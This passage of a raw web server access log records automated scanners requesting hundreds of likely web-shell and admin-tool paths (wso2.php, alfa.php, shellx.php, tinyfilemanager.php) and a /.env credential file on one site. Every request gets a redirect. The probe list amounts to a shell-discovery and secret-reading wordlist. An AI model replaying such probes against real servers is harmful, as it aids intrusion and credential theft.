HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:40 +0300] "GET /images/F0x.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:43 +0300] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:17 +0300] "GET /c.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:33 +0300] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:36 +0300] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:40 +0300] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:44 +0300] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:02 +0300] "GET /admin-header.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:06 +0300] "GET /cgi-bin/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:49 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:53 +0300] "GET /phpinfo1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:56 +0300] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:00 +0300] "GET /lig.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:04 +0300] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:54 +0300] "GET /uwu.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:58 +0300] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:12 +0300] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:18 +0300] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:18:00:18 +0300] "GET /predeploy.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:30 +0300] "GET /gf.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:53 +0300] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:57 +0300] "GET /nice.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:30 +0300] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:09 +0300] "GET /latest-en.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:12 +0300] "GET /ffAA531.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:15 +0300] "GET /smile.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:19 +0300] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:23 +0300] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:26 +0300] "GET /upload_handler.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:30 +0300] "GET /css/class-config.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:34 +0300] "GET /cangma.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:37 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:41 +0300] "GET /compressor.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:44 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:47 +0300] "GET /mc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:50 +0300] "GET /archives.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:52 +0300] "GET /app_dev.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:55 +0300] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:49:57 +0300] "GET /AUHZ05.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:01 +0300] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:41 +0300] "GET /source.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:08 +0300] "GET /role.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:12 +0300] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:49 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:31 +0300] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:35 +0300] "GET /bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:39 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:42 +0300] "GET /daddy.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:42 +0300] "GET /utchiha505.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:07 +0300] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:10 +0300] "GET /my.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:30 +0300] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:34 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:38 +0300] "GET /server_info.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:42 +0300] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:25 +0300] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:29 +0300] "GET /loghandler.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:32 +0300] "GET /gold.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:36 +0300] "GET /wp-plugins.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:39 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:42 +0300] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:45 +0300] "GET /api_logs.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:47 +0300] "GET /download.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:50 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:54 +0300] "GET /default-constants.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:02 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:35 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:47 +0300] "GET /mirasvit_adminer_425.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:50 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:54 +0300] "GET /yl10gohp.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:57 +0300] "GET /class-wp-image-editor-imagick-interface.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:00 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:47 +0300] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:50 +0300] "GET /h.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:53 +0300] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:45:55 +0300] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:01 +0300] "GET /en.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:36 +0300] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:40 +0300] "GET /eplzpmzn.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:44 +0300] "GET /jasmine.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:15 +0300] "GET /rlpc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:55 +0300] "GET /makhdmax.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:00 +0300] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:19 +0300] "GET /shellx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:22 +0300] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:29 +0300] "GET /reg.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:31 +0300] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:08 +0300] "GET /IOptimize.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:12 +0300] "GET /image.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:49 +0300] "GET /_adminer.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:56 +0300] "GET /Auth.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:15 +0300] "GET /analytics.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:18 +0300] "GET /rfgsrd.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:13 +0300] "GET /root.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:18 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:22 +0300] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:25 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:49 +0300] "GET /444.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:54 +0300] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:57 +0300] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:01 +0300] "GET /newsr.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:23 +0300] "GET /google.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:27 +0300] "GET /shell20211022.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:15 +0300] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:58 +0300] "GET /haiterus.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:18:00:11 +0300] "GET /wp-2020.php HTTP/1.1" 301 795 "-" "-" 69.171.249.8 - - [16/Feb/2026:18:45:38 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 159.65.245.255 - - [16/Feb/2026:19:27:46 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 82.102.18.182 - - [16/Feb/2026:19:22:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 43.157.147.3 - - [16/Feb/2026:19:42:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.76.32.190 - - [16/Feb/2026:19:39:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" 144.76.32.190 - - [16/Feb/2026:19:39:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" 43.166.142.76 - - [16/Feb/2026:20:37:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 191.96.67.8 - - [16/Feb/2026:22:51:39 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 182.44.67.97 - - [16/Feb/2026:23:21:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.210.188.132 - - [16/Feb/2026:23:28:45 +0300] "GET /fot.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:49 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:49 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:53 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:56 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:33 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:51 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:54 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:04 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:08 +0300] "GET /tcp.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:12 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:16 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:31:20 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:31 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:35 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:55 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:59 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:00 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:38:47 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:38:48 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:02 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:08 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:46 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:09 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:25:51 +0300] "GET /zone.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:25:54 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:25:58 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:01 +0300] "GET /sad5.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:58 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 8.212.178.171 - - [16/Feb/2026:23:29:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.210.188.132 - - [16/Feb/2026:23:29:11 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:15 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:18 +0300] "GET /admiin.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:22 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:39 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:44 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:11 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:14 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:50 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:06 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:10 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:48 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:49 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:23 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:36:50 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:37:00 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:31 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:19 +0300] "GET /blurbs.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:23 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:26 +0300] "GET /shas.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:29 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:32 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:35 +0300] "GET /er.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:38 +0300] "GET /fault.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:42 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:37 +0300] "GET /nnyvn.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:41 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:49 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:02 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:06 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:23 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:25 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:53 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:57 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:04 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:05 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:36:34 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:56 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:11 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:14 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:59 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:44 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:17 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:41 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:42 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:42 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:16 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:15 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:47 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:08 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:11 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:15 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:26:57 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:02 +0300] "GET /ya.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:28:40 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:27 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:31 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:34 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:03 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:48 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:20 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:35 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:34:35 +0300] "GET //wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:31 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:37 +0300] "GET /wp-admin/zwso.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:36:45 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:36:56 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:37:28 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:37:43 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:38:10 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:38:23 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:39:39 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:25 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:42 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:40:43 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:25:42 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:25:46 +0300] "GET /af.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:27:32 +0300] "GET /login8.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:29:04 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:30:38 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:21 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:25 +0300] "GET /lc.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:28 +0300] "GET /cbrfo.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:32 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:36 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:39 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:32:55 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:33:01 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 20.210.188.132 - - [16/Feb/2026:23:35:09 